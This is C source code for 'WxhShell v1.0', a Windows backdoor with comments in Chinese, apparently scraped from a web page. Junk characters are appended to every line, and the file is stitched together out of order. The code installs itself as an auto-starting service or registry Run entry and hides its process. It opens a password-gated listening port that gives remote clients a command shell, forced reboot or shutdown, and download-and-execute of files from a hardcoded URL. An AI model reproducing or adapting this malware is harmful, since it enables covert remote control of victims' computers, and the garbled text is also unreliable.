    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) #+^ sAO  
    else { <%P2qgz5  
    closesocket(wsh); D +RiM~LH8  
    ExitThread(0); xr%#dVk  
    } 4<gb36)|4  
    break; \)/yC74r7(  
    } !5Sd2<N  
  // 获取shell y >+mc7n  
  case 's': { ?!'Zf Q:zK  
    CmdShell(wsh); iM]o"qOQm  
    closesocket(wsh); yK%ebq]  
    ExitThread(0); @7 <uMasfp  
    break; (Un_!)  
  } ,r8Tbk]m  
  // 退出 oD.r `]k  
  case 'x': { `$TRleSi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )Xtn k  
    CloseIt(wsh); -7{ $ Vj  
    break; Ub amB+QT  
    } u0Nm.--;_3  
  // 离开 Wl- <HR!n  
  case 'q': { !EIjN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \ck+GW4&  
    closesocket(wsh); (Pbg[AY  
    WSACleanup(); y3G `>  
    exit(1); bZ1 78>J]  
    break; yuhnYR\`m  
        } 7.g [SBUOG  
  } /i]y$^  
  } nNt1C  
Zd:Taieh@  
  // 提示信息 0#*Lw }qi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c>"cX&  
} UVQ7L9%?f  
  } }"^'% C8EX  
9DQa PA6  
  return; VQ#3#Hj  
} tmUFT  
kwpK1R4zs  
// shell模块句柄 BV#78,8(  
int CmdShell(SOCKET sock) [*:6oo98'  
{ Pr ]Ka  
STARTUPINFO si; TuDE@ gq(  
ZeroMemory(&si,sizeof(si)); D BE4&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Yj xeNY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bun> <Y @  
PROCESS_INFORMATION ProcessInfo; hvka{LD  
char cmdline[]="cmd"; cWyW~Ek  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `n5"0QRd  
  return 0; @&|l^ 1  
} *+)AqKP\Kv  
XolZonJr  
// 自身启动模式 0tg8~H3yy  
int StartFromService(void) kn"(mJe$  
{ xg_D f,  
typedef struct 6 GP p>X  
{  Q6'x\  
  DWORD ExitStatus; rgmF:C  
  DWORD PebBaseAddress; c(;a=n(E#  
  DWORD AffinityMask; DwHF[]v'  
  DWORD BasePriority;  ,Uhb  
  ULONG UniqueProcessId; >9e(.6&2XZ  
  ULONG InheritedFromUniqueProcessId; 5NoI~X=  
}   PROCESS_BASIC_INFORMATION; l>*"mh  
U-/{0zB  
PROCNTQSIP NtQueryInformationProcess; :+Om]#`Vls  
:0 & X^]\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B/~%h|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &`0/CV  
\.YS%"Vz  
  HANDLE             hProcess; )WT>@  
  PROCESS_BASIC_INFORMATION pbi; ;2'q_Btk4  
Urr#N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X3'H `/  
  if(NULL == hInst ) return 0; l7#yZ*<v  
6`vC1PK^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M" ^PW,k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )XcOl7XLN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W @|6nPm  
+)o}c"P!  
  if (!NtQueryInformationProcess) return 0; `\Hf]b  
A+hT3;lp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b4^`DHRu6  
  if(!hProcess) return 0; ;q N+^;,2  
*HEuorl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >D201&*G%  
hW!)w  
  CloseHandle(hProcess); Z R/#V7Pj  
fd-q3 _f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OO[F E3F  
if(hProcess==NULL) return 0; -'~ LjA(  
<! )**  
HMODULE hMod; M%jPH  
char procName[255]; Y"A/^]  
unsigned long cbNeeded; UfS%71l.$  
p+)YTzzc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #9K-7je;j  
qOIW(D  
  CloseHandle(hProcess); q.,JVGMS  
23 ~ Sjr  
if(strstr(procName,"services")) return 1; // 以服务启动 Xy5e5K  
~ vqa7~}m  
  return 0; // 注册表启动 R<OI1,..r  
} r@ZJ{4\Q  
kbM3  
// 主模块 5mb]Q)f9-  
int StartWxhshell(LPSTR lpCmdLine) EkziAON  
{ jH_JmYd  
  SOCKET wsl; BcI |:qv|  
BOOL val=TRUE; \7CGUB>L  
  int port=0; ai0XL}!+  
  struct sockaddr_in door; &x3VCsC\|  
w^t/9Nasi  
  if(wscfg.ws_autoins) Install(); :9k Ty:  
fW?o@vlO  
port=atoi(lpCmdLine); N<~ku<nAU  
"~'b  
if(port<=0) port=wscfg.ws_port; =UV`.d2[  
u*hSj)vr1  
  WSADATA data; Z?\>JM >;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B ~OZ2-~  
720DV +o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o}ZdTf=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YpqrZWvh  
  door.sin_family = AF_INET; =ZqT3_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G;YrF)\  
  door.sin_port = htons(port); r?/'!!4  
Fi0GknQ+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EAM5{Nc  
closesocket(wsl); I'LnI*  
return 1; 1')%`~  
} '3g[]M@M  
"s{5O>  
  if(listen(wsl,2) == INVALID_SOCKET) { <u2}i<#  
closesocket(wsl); aTt 12Sc  
return 1; '*3h!lW1.  
} kBffF@{  
  Wxhshell(wsl); j:VbrR  
  WSACleanup(); b9l;a+]d  
OLE[UXD-E  
return 0; k?,1x~  
^0 -:G6H  
} :5{wf Am  
DP|D\+YyYA  
// 以NT服务方式启动 xoN3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i*Z" Me  
{ -PfX0y9n  
DWORD   status = 0; mGK|ihYu  
  DWORD   specificError = 0xfffffff; c I4K+  
w 47tgPPk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b}"N`,0dO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }|pwz   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R#I0|;q4|p  
  serviceStatus.dwWin32ExitCode     = 0; sc}~8T  
  serviceStatus.dwServiceSpecificExitCode = 0; z*!%g[3I  
  serviceStatus.dwCheckPoint       = 0; I"A_b}~*}  
  serviceStatus.dwWaitHint       = 0; GaK-t*Q  
e7sp =I ,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <P=twT;P  
  if (hServiceStatusHandle==0) return; qHrc9fB  
R21b!Pd\  
status = GetLastError(); p"KFJ  
  if (status!=NO_ERROR) ++^l]8  
{ B&n<M]7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]jo1{IcI  
    serviceStatus.dwCheckPoint       = 0; 0E3[N:s  
    serviceStatus.dwWaitHint       = 0; xjKR R?  
    serviceStatus.dwWin32ExitCode     = status; G U( _  
    serviceStatus.dwServiceSpecificExitCode = specificError; `)_dS&_\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r2,.abo  
    return; N(Fp0  
  } Tu).K.p:  
AHXSt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LhA/xf  
  serviceStatus.dwCheckPoint       = 0; pu2 tY7J a  
  serviceStatus.dwWaitHint       = 0; )mF5Vw"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @}}$zv6l,  
} ;6>2"{NW  
]7Tkkw$  
// 处理NT服务事件,比如:启动、停止 (KDD e}f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J1C3&t}  
{ gaZu;t2u  
switch(fdwControl) -;^j:L{   
{ )-a'{W/t  
case SERVICE_CONTROL_STOP: &E.^jR~*  
  serviceStatus.dwWin32ExitCode = 0; ewctkI$,5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +JjW_Rl?=V  
  serviceStatus.dwCheckPoint   = 0; n[lJLm^(_C  
  serviceStatus.dwWaitHint     = 0; ^\4h<M  
  { {y=j?lD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K/IWH[  
  } wk5s)%V  
  return; ^ hZ0IM  
case SERVICE_CONTROL_PAUSE: )b)-ZS7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xc=b |:A  
  break; ^")Q YE  
case SERVICE_CONTROL_CONTINUE: lh7jux  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nn!+,;ut  
  break; Y 0d<~*  
case SERVICE_CONTROL_INTERROGATE: t gI{`jS%  
  break; TFlet"ge=  
}; j+$rj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:XoRyIZ1[  
} ,$s8GAmq  
O$_)G\\\m  
// 标准应用程序主函数 ]>=}*=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /|C*  
{ -zOdU}91Ao  
bk;?9%TW  
// 获取操作系统版本 H[,i{dD  
OsIsNt=GetOsVer(); f4 P8Oz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I|gB@|_~  
\Q0[?k  
  // 从命令行安装 aX)I3^ar  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q(wx nm  
Yc_8r+;(  
  // 下载执行文件 p<2L.\6"  
if(wscfg.ws_downexe) { ,,%i;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gQ Fjr_IS#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7%Gwc?[x  
} J?? -j  
g jDh?I  
if(!OsIsNt) { 1OCeN%4]Qk  
// 如果时win9x,隐藏进程并且设置为注册表启动 o<BOYrS  
HideProc(); ?!A7rb/tj  
StartWxhshell(lpCmdLine); YIoQL}pX  
} GpY"f c%  
else w$zu~/qV2  
  if(StartFromService()) 3x{ t(  
  // 以服务方式启动  oM2l-[-  
  StartServiceCtrlDispatcher(DispatchTable); [uC ]*G]  
else 8xMEe:}V  
  // 普通方式启动 SUCM b8  
  StartWxhshell(lpCmdLine); n.!#P|  
ZSjMH .Ij"  
return 0; yu!h<nfzA  
} Ugu[|,  
l{I6&^!KS  
($au:'kU  
x$5) ^ud?  
=========================================== 5na~@-9p  
] o*#t  
PRu 6xsyA  
.7e2YI,S  
#hfXZVD  
\KMToN&2  
" !=;+%C&8y  
@$S+Ne[<  
#include <stdio.h> be]bZ 1f  
#include <string.h> Tl(^  
#include <windows.h> F, W~,y  
#include <winsock2.h> "-e \p lKj  
#include <winsvc.h> G18F&c~  
#include <urlmon.h> sqEI4~514  
$?Yry. 2  
#pragma comment (lib, "Ws2_32.lib") /oR0+sH]  
#pragma comment (lib, "urlmon.lib") Dv|#u|iw  
@mOH"acGn?  
#define MAX_USER   100 // 最大客户端连接数 k;K)xb[w|  
#define BUF_SOCK   200 // sock buffer U 9_9l7&r  
#define KEY_BUFF   255 // 输入 buffer (D#B_`;-  
Oft-w)cYz,  
#define REBOOT     0   // 重启 E7t+E)=8  
#define SHUTDOWN   1   // 关机 7!@-*/|!S9  
EYtL_hNp}I  
#define DEF_PORT   5000 // 监听端口 cii_U=   
-~s!73pDY  
#define REG_LEN     16   // 注册表键长度 Rp.Sj{<2  
#define SVC_LEN     80   // NT服务名长度 zL$@`Eh-KP  
*w^C"^*  
// 从dll定义API PmkR3<=leg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \Jx04[=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KK&rb~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Aw}"gpL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  CJ1 7n  
f sJ9bQm/  
// wxhshell配置信息 U{7w#>V .  
struct WSCFG { ~HTmO;HNf"  
  int ws_port;         // 监听端口 xf<at->  
  char ws_passstr[REG_LEN]; // 口令 mw_~*Nc'9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5's87Z;6  
  char ws_regname[REG_LEN]; // 注册表键名 {@eJtF+2  
  char ws_svcname[REG_LEN]; // 服务名 1C< uz29  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u[@l~gwL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eo{"9j\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3.|S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .<jr0,i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xQ}pu2@d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `z{%(_+[  
)U~=Pf"  
}; 'qZW,],5  
ock Te5U  
// default Wxhshell configuration  .u*0[N  
struct WSCFG wscfg={DEF_PORT, C"6?bg5N  
    "xuhuanlingzhe", kE:nsXI )  
    1, AP68V  
    "Wxhshell", x.7]/)  
    "Wxhshell", ;XF:\<+  
            "WxhShell Service", cJ{ Nh;"  
    "Wrsky Windows CmdShell Service", I;e=0!9U  
    "Please Input Your Password: ", \n$u)Xj~6^  
  1, h]Wr [v  
  "http://www.wrsky.com/wxhshell.exe", 4lr(,nPRD  
  "Wxhshell.exe" n"c)m%yZ  
    }; }p}[j t  
}=%oX}[  
// 消息定义模块 Wr<j!>J6Ki  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G/b^|;41  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wG~`[>y (  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TT2d81I3m  
char *msg_ws_ext="\n\rExit."; F20E_2;@@  
char *msg_ws_end="\n\rQuit."; [<2<Y  
char *msg_ws_boot="\n\rReboot..."; P^ A!.}d  
char *msg_ws_poff="\n\rShutdown..."; {9?JjA  
char *msg_ws_down="\n\rSave to "; uD}2<$PP  
fmQ_P.c  
char *msg_ws_err="\n\rErr!"; BcL{se9<  
char *msg_ws_ok="\n\rOK!"; ~<O7$~  
:yRo3c  
char ExeFile[MAX_PATH]; KV]X@7`@  
int nUser = 0; &,}j #3<  
HANDLE handles[MAX_USER]; JW{rA6?   
int OsIsNt; }T; P~aG  
q"%_tS  
SERVICE_STATUS       serviceStatus; 5>CEl2mSl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zDw5]*R  
24E}<N,g  
// 函数声明 \?Z{hmN  
int Install(void); W }8'Pf  
int Uninstall(void); qlb- jL  
int DownloadFile(char *sURL, SOCKET wsh); 4.Q} 1%ZN  
int Boot(int flag); a2dnbfSWa[  
void HideProc(void); )[PtaPWeT  
int GetOsVer(void); v>$'iT~l  
int Wxhshell(SOCKET wsl); >hPQRd  
void TalkWithClient(void *cs); SOIHePmwK  
int CmdShell(SOCKET sock); 1M}5>V{  
int StartFromService(void); /.3}aj;6  
int StartWxhshell(LPSTR lpCmdLine); RZHd9v$  
2[Z,J%:0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N!ls j \-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P#R R9>Q  
^Y@\1fX 4e  
// 数据结构和表定义 SLkhCR  
SERVICE_TABLE_ENTRY DispatchTable[] = xfpa]Z  
{ ,5|&A  
{wscfg.ws_svcname, NTServiceMain}, **$LR<L  
{NULL, NULL} Gcdd3W`O  
}; "/3 db[  
A;*d}Xe&J  
// 自我安装 S#MZV@nGF  
int Install(void) PMN jn9d  
{ )CuZDf@  
  char svExeFile[MAX_PATH]; N):tOD@B  
  HKEY key;  Of"  
  strcpy(svExeFile,ExeFile); %5eY'  
2>cGH7EBD  
// 如果是win9x系统,修改注册表设为自启动 5 MN8D COF  
if(!OsIsNt) { +?:7O=Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z`!XhU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e4!:c^?  
  RegCloseKey(key); X'd9[).  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ {O#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Km(n7Ah"  
  RegCloseKey(key); $"FQj4%d  
  return 0; jBgP$g  
    } @ o3T  
  } =<{np  
} )+[ gd/<C.  
else { P0W*C6&71|  
*pSQU=dmS  
// 如果是NT以上系统,安装为系统服务 W8ouO+wK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eO?p*"p"F  
if (schSCManager!=0) } ud0&Oe{  
{ kMb}1J0i"  
  SC_HANDLE schService = CreateService #:[t^}  
  ( Y"~gw~7OD  
  schSCManager, ^lA=* jY(  
  wscfg.ws_svcname, hEBY8=gK  
  wscfg.ws_svcdisp, ]^lw*724'>  
  SERVICE_ALL_ACCESS, }% `.h"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #~7ip\Uf[  
  SERVICE_AUTO_START, Bwa'`+bC  
  SERVICE_ERROR_NORMAL, KVn []@#  
  svExeFile, i+p^ ^t\  
  NULL, ,cB\  
  NULL, +z9Q-d%O  
  NULL, Q4+gAS9  
  NULL, Y~L2  
  NULL }s(N6a&(  
  ); ~\Hc,5G  
  if (schService!=0) EdlTdn@A  
  { <kGU,@6PF  
  CloseServiceHandle(schService); 3QG7C{  
  CloseServiceHandle(schSCManager); %kS(LlL+6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )(ImLbM)  
  strcat(svExeFile,wscfg.ws_svcname); Hea;?4Vg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N+Y]st+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8,C*4y~  
  RegCloseKey(key); y~q8pH1  
  return 0; T)H{  
    } H5Z$*4%G  
  } q35f&O;  
  CloseServiceHandle(schSCManager); 7]blrN]  
} 4)A#2  
} , Wk?I%>  
H."EUcE{  
return 1; ~:Ll&29i  
} {]:7bV#JP  
y%%}k  
// 自我卸载 tasUZ#\6  
int Uninstall(void) BW 4%l  
{ 9{ >Ui  
  HKEY key; .^h#_[dp  
U56G.  
if(!OsIsNt) { G LIi6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aqj@Cjk4Z  
  RegDeleteValue(key,wscfg.ws_regname); gk"$,\DI  
  RegCloseKey(key); c_vqL$Dl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )N7Y^CN~  
  RegDeleteValue(key,wscfg.ws_regname); sj HrPs e  
  RegCloseKey(key); "|qqUKJZ  
  return 0; orWbU UC  
  } ;[M}MFc/`  
} 9f&C  
} >pp5;h8!  
else { "nw;NIp!  
b[o"7^H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >zXsNeGQR  
if (schSCManager!=0) &6ZD136  
{ e[&L9U6GW-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KG|n  
  if (schService!=0) LR".pH13  
  { nV-mPyfL8  
  if(DeleteService(schService)!=0) { ^,/RO5  
  CloseServiceHandle(schService); .k%[4:Fe  
  CloseServiceHandle(schSCManager); ?~hHGf\^b6  
  return 0; Qo;zHZ'  
  } VJickXA  
  CloseServiceHandle(schService); {<R2UI5m5  
  } 8,? h~prc  
  CloseServiceHandle(schSCManager); {q `jDDM  
} +yk24 ` >  
} g*03{l#P  
inh=WUEW  
return 1; apg=-^L'  
} HY&aV2|A1  
A8uVK5  
// 从指定url下载文件 M%2+y5  
int DownloadFile(char *sURL, SOCKET wsh) ?0v-qj+  
{ NbgK@eV}+{  
  HRESULT hr; i{`FmrPO~  
char seps[]= "/"; $a ]_w.@  
char *token; JM x>][xD  
char *file; pe]A5\4c  
char myURL[MAX_PATH]; 60J;sGW  
char myFILE[MAX_PATH]; H!5\v"]WB  
nxWY7hU  
strcpy(myURL,sURL); ]:Ns f|C0  
  token=strtok(myURL,seps); Yu)NO\3&  
  while(token!=NULL) f !I[>&n  
  { psg)*'r  
    file=token; >8WP0 Qx/  
  token=strtok(NULL,seps); '8!Y D?n  
  } !g5xq  
0 q} *S~  
GetCurrentDirectory(MAX_PATH,myFILE); vms|x wb  
strcat(myFILE, "\\"); $~VRza 8Q  
strcat(myFILE, file); kEOS{C%6R  
  send(wsh,myFILE,strlen(myFILE),0); "B3N* R(["  
send(wsh,"...",3,0); JBE!j-F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M>~Drul  
  if(hr==S_OK) `$,GzS(  
return 0; y9q8i(E0  
else LBM ^9W  
return 1; :.Jf0  
+av@$}  
} W6?pswQ  
v"b+$*  
// 系统电源模块 }1Gv)l7  
int Boot(int flag) Cd,jDPrw  
{ FbS|~Rp~  
  HANDLE hToken; gW>uR3Ca4  
  TOKEN_PRIVILEGES tkp;  gQ'zW  
oU056  
  if(OsIsNt) { g!lWu[d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Tu61zq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i V'k}rXC  
    tkp.PrivilegeCount = 1; N/ %WsQp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /178A;J y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H*ow\ Ct  
if(flag==REBOOT) { 'p> Ra/4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mZSD(  
  return 0; _jLL_GD  
} DI:]GED" =  
else { e+~\+:[?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _F>CBG  
  return 0; a%kQl^I4  
} iII=;:p  
  } >, F bX8Zz  
  else { oB}BU`-l  
if(flag==REBOOT) { A#.edVj.g4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,K)_OVB  
  return 0; w_.F' E  
} mq@6Q\Z+  
else { ii T"5`KY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >/l? g5{  
  return 0; ZA0mz 65  
} vHyC;4'  
} zHA!%>%'  
R3x3]]D  
return 1; qTdheX/  
} TE3lK(f  
d,+Hd2o^X  
// win9x进程隐藏模块 B2>H_dmQ  
void HideProc(void) ;Lc Z`1  
{ 3EJj9}#x"'  
G<}()+L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?zh9d%R  
  if ( hKernel != NULL ) A\4D79>x  
  { -ws? "_w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \k.{-nh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B<5R   
    FreeLibrary(hKernel); >3p \m  
  } [k.tWA,&  
cpL7!>^=  
return; '@o;-'b  
} ]<ldWL  
}AB, 8n`  
// 获取操作系统版本 4ezEW|S  
int GetOsVer(void) _ TiuY  
{ wH>a~C:  
  OSVERSIONINFO winfo; VCV"S>aVf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q-_N2W ?  
  GetVersionEx(&winfo); CAfGH!l!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ((H^2KJn  
  return 1; t<#TJ>Le  
  else th  
  return 0; O#ai)e_uQk  
} ??^5;P{yx  
GWZ }7ake  
// 客户端句柄模块 uxXBEq;  
int Wxhshell(SOCKET wsl) J%u=Ucdh  
{ 0(eB ZdRO  
  SOCKET wsh; a L} % 2  
  struct sockaddr_in client; J"!vu.[  
  DWORD myID; '~5LY!H(pT  
NCiW^#b  
  while(nUser<MAX_USER) *Fy2BZH%Q  
{ |,S+@"0#  
  int nSize=sizeof(client); a!a-b~#cx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T -.%  
  if(wsh==INVALID_SOCKET) return 1; Bal$+S  
GzhYY"iif#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /5S30 |K  
if(handles[nUser]==0) sd*p/Q|4  
  closesocket(wsh); h k] N6+@  
else 6.sx?YYM  
  nUser++; CSJdvxb  
  } {#ZlM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *:Y%HAy*  
RSfQNc9Z  
  return 0; 2GP=&K/A  
} PC~Y8,A|.t  
bGN:=Y'  
// 关闭 socket 6Y^23W F  
void CloseIt(SOCKET wsh) &*##bA"!B  
{ <f ZyAa3}  
closesocket(wsh); H3z: ZTI  
nUser--; {x|[p_?  
ExitThread(0); 8m-U){r!U^  
} \HqNAE2T  
t)~"4]{*}D  
// 客户端请求句柄 @@R7p  
void TalkWithClient(void *cs) ,BH@j%Jmy  
{ z6U\axO6  
IbT=8l,Li  
  SOCKET wsh=(SOCKET)cs; W<bGDh  
  char pwd[SVC_LEN]; P@Hs`=  
  char cmd[KEY_BUFF]; "i nd$Z`c  
char chr[1]; V[RF </2T  
int i,j; `tB gH_$M  
Yrb{ByO&  
  while (nUser < MAX_USER) { C].iCxn  
3DzMB?I  
if(wscfg.ws_passstr) { )Q=_0;#;k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \z>fb%YW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `nUXDmdwzO  
  //ZeroMemory(pwd,KEY_BUFF); ),0g~'I~D  
      i=0; d?ex,f.  
  while(i<SVC_LEN) { gR&Q3jlIV  
SzAJ2:qhl  
  // 设置超时 ! +a. Ei  
  fd_set FdRead; y=fx%~<> 8  
  struct timeval TimeOut; G/k2Pe{SL  
  FD_ZERO(&FdRead); vleS2-]|  
  FD_SET(wsh,&FdRead); XeW<B0~  
  TimeOut.tv_sec=8; !<j'Ea  
  TimeOut.tv_usec=0; |nc@"OJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %>yG+Od5Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  w^?>e;/\  
/$ w%Q-p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ok|*!!T  
  pwd=chr[0]; VF&(8X\   
  if(chr[0]==0xd || chr[0]==0xa) { ojafy}  
  pwd=0; A0/"&Ag]  
  break; &TnS4O  
  } S*==aftl(  
  i++; ];VA!++  
    } Q! o'}nA  
-C;^ 3R[ O  
  // 如果是非法用户,关闭 socket m!gz3u]rN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wVX[)E\J  
} :{PJI,  
r(6Y*<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GOj-)i/_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ot,jp|N>f~  
QCD .YFM  
while(1) { EOIN^4V"  
cbNTj$'b2u  
  ZeroMemory(cmd,KEY_BUFF); F5LuSy+v  
l>2E (Y|  
      // 自动支持客户端 telnet标准   $~~Jw]   
  j=0; p2Z?T}fa}&  
  while(j<KEY_BUFF) { "An,Q82oHf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z#zI1Am(O  
  cmd[j]=chr[0]; D|lzGt  
  if(chr[0]==0xa || chr[0]==0xd) { ?[VM6- &  
  cmd[j]=0; &c`nR<  
  break; &SIq2>QA  
  } dV*]f$wQ  
  j++; +dWDxguE{w  
    } Y4OPEo5o  
e{h<g>7  
  // 下载文件 ++bf#qS<8D  
  if(strstr(cmd,"http://")) { v6[!o<@"a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c%^7!FSg  
  if(DownloadFile(cmd,wsh)) 7G:s2432  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AhCW'.  
  else g9m-TkNk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H~oail{EQ  
  } ^7>3a/  
  else { gD0eFTN  
OtY`@\hy  
    switch(cmd[0]) { aFc1|.Nm  
  .4_o>D  
  // 帮助 A|CmlAW~^  
  case '?': { *]. 7dec/  
